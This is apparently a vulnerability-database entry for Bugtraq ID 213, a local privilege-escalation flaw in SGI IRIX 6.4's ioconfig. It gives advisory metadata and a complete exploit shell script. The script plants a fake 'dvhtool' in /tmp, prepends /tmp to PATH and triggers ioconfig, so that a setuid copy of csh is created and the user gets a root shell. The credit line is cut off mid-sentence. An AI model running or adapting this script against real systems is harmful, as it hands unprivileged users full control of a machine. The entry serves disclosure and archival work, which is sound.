IRIX ioconfig Vulnerability

BID:213

CVE-1999-313 |

Info

IRIX ioconfig Vulnerability

Bugtraq ID: 213
Class: Environment Error
CVE:
Remote: Unknown
Local: Yes
Published: Jul 20 1998 12:00AM
Updated: Jul 20 1998 12:00AM
Credit: An advisory to for this vulnerability was posted to the Bugtraq mailing list by SGI Security Coordinator <[email protected]> on July 20, 1998. An exploit for this vulnerability was written by Loneguard on April 12, 1997. It is not known whether
Vulnerable: SGI IRIX 6.4
Not Vulnerable:

Exploit / POC

IRIX ioconfig Vulnerability

#!/bin/sh
#
# Irix 6.4 ioconfig xploit - Loneguard 04/12/97
#
# Simple xploit making use of stupid system calls to programs without using
# a path. This works on both /sbin/ioconfig and /sbin/disk_bandwidth.
#
cat > /tmp/dvhtool << 'EOF'
#!/bin/sh
/sbin/cp /bin/csh /tmp/xsh
/sbin/chmod 14755 /tmp/xsh
EOF
/sbin/chmod 700 /tmp/dvhtool
PATH=/tmp:$PATH
/sbin/ioconfig -f /hw

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IRIX ioconfig Vulnerability

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